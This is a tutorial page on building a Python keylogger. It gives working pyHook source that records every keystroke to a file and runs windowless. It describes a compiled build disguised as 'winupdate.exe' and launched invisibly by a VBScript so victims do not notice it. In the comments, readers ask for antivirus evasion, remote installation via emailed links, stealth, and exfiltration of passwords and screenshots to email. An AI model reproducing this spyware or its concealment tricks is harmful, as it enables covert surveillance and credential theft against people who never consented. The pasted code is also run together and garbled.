Simple Keylogger
Intro: Simple Keylogger
I have recently been making a much more advanced keylogger that can even send logs via gmail. So if you are interested, check the github project.
This is a simple keylogger that I made using python. I tried to make one in batch or vbs, but it is practically impossible. So I had to use python.
You all see on the internet, keyloggers, an then you download it and install it to spy or monitor someone (Windows 10 even has a built-in keylogger) . But the problem is, is that you probably also installed a ton of virus of other junk in the process.
I will show you how to make your own, or you can download mine below:
STEP 1: Installing Python...
Unless you already downloaded my file with the keylogger pre-compiled (skip to step 4), you must install python and some modules. Download and install the following:
STEP 2: Creating the Code...
Once you have all of the python stuff installed, open up idle and create a new script. Then enter in the following code:
import pyHook, pythoncom, sys, logging# feel free to set the file_log to a different file name/location
file_log = 'keyloggeroutput.txt'
def OnKeyboardEvent(event): logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') chr(event.Ascii) logging.log(10,chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages()
Then save it as something.pyw
STEP 3: Test...
Now double-click on the file you just created and test it out, then start typing.
When you want to stop logging, open up task manager and kill all the "python" processes. Then look for keyloggeroutput.txt in the same directory were the something.pyw is. Open it up and you should see whatever you typed.
NOTE: You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.
This is the end of the instructable for you. BUT if you want to see my keylogger, continue on...
If you have any questions/concerns please pm me or post a comment.
STEP 4: My Keylogger
First extract keylogger.rar and open up the folder with the files.
You should see a bunch of random files, this is because when you compile a python program to a standalone .exe, you need all these files in the same directory as the program.
The only important files are "Run.vbs" and "winupdate.exe". winupdate.exe is the actual keylogger program. The reason why it is called "winupdate", is so nothing looks suspicious if the user opens up task manager.
For some reason when you compile a python program to a .exe, you don't have any option to make it run invisible, so to fix this, I created a small vbscript file called Run.vbs which simply launches winupdate.exe invisibly.
STEP 5: Test...
Double click on Run.vbs and the program will start automatically. When you want to stop logging, open up task manager and kill winupdate.exe. Then open up keyloggeroutput.txt, and you will see that all the characters that you have typed are logged.
NOTE: You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.
STEP 6: Hope You Found This Helpfull
Hope you found this helpful. If you have any questions/concerns please pm me or post a comment.
Have fun keylogging, but please don't use this program maliciously.
65 Comments
Midnight_Fury 1 year ago
xp4xbox 1 year ago
Midnight_Fury 1 year ago
kashi khankhalil 9 months ago
kashi khankhalil 9 months ago
jeanbaptiste 1 year ago
receptioncomputername 4 years ago
But why is there a line break, that is, is it written vertically and not horizontally?
xp4xbox 4 years ago
azpect3120 2 years ago
receptioncomputername 4 years ago
Il est donc impossible de le faire?
dauphinet 5 years ago
python-2.7.13.amd64
pyHook-1.5.1.win32-py2.7
pywin32-219.win-amd64-py2.7
but is not creating an output file on my desktop.
I would also like to customize the keylogger in such way it will send the logs to an email address.
The ideal keylogger should have according to me the following features:
1- Undetectable by all antivirus
2- Can be installed with one click (keylogger hidden on a file) from a USB installed on the targeted PC.
3- Can be installed also remotely (for ex. by sending mail with a link to click on)
4- Can be removed remotely or self removed
5- Can send logs/reports (keystrokes, passwords, screen captures...) to a defined email address and FTP
6- Runs in stealth mode (doesn't appear in task manager and program list).
7- Supports Windows/MacOS
Can someone help me please?
alexwang0147 2 years ago
xp4xbox 5 years ago
dauphinet 5 years ago
I already tried but I don't get an output file and it is urgent.
Could you please set me a keylogger that will send the data to my email address?
I would like it to have this features:
2- Can be installed with one click (keylogger hidden on a file/package) from a USB installed on the targeted PC.
3- Can be installed also remotely (for ex. by sending mail with a link to click on)
4- Can be removed remotely or self removed
5- Can send logs/reports (keystrokes, passwords, screen captures...) to my email address (and eventually FTP)
6- Runs in stealth mode (doesn't appear in task manager and program list).
7- Supports Windows (and MacOS eventually).
Thank you so much!!!
Tw1st3dByD3s1gn 3 years ago
xp4xbox 3 years ago
zxabdoh0 3 years ago
xp4xbox 3 years ago
morad2020 4 years ago
tabestguy 4 years ago